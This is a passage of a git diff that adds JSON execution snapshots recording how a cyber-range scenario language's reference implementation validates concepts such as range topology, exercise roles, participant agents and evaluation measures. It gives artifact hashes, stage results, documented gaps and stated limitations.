"contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "ddcf7d5310b4f6643e653a849f49187b882483150bad41493ad93c638cfeaeb7", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "5a27990cc5f57cae913af6178ee33ff1bfb1af1f3eba4e98ab16aac7021890be", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "04b807cb977006b6ae420958db1df21d911b9635b262d9d5c26d4f2023675b73", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "9f004b08ffc0c2c3a2f30a1c0b72924ac233a7ce", + "snapshot_id": "raes-standardized-specification-coverage-issue-1015-v32", + "snapshot_revision": "32.0.0", + "source_state": { + "base_revision": "9f004b08ffc0c2c3a2f30a1c0b72924ac233a7ce", + "checkout_state": "modified", + "implementation_digest": "199358669a22d9943e51961ac472d359dafac936ad7bc02c1d37de9140b9102e", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v33.json b/docs/research/specification-coverage/execution-snapshot-v33.json new file mode 100644 index 000000000..fb0cdda1d --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v33.json @@ -0,0 +1,695 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-19T04:36:31+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own actor, target, window, and assertion-based success meaning while measures remain in experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Actor, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "7d9c2b8222a71c168b1a644d083e3e165047802ca5b5c75e57aa3d3c9a73a530" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "a777f6a7ace95da145f1cce15431b667b47849c32b62aecb96643e2c7b780ed7" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the 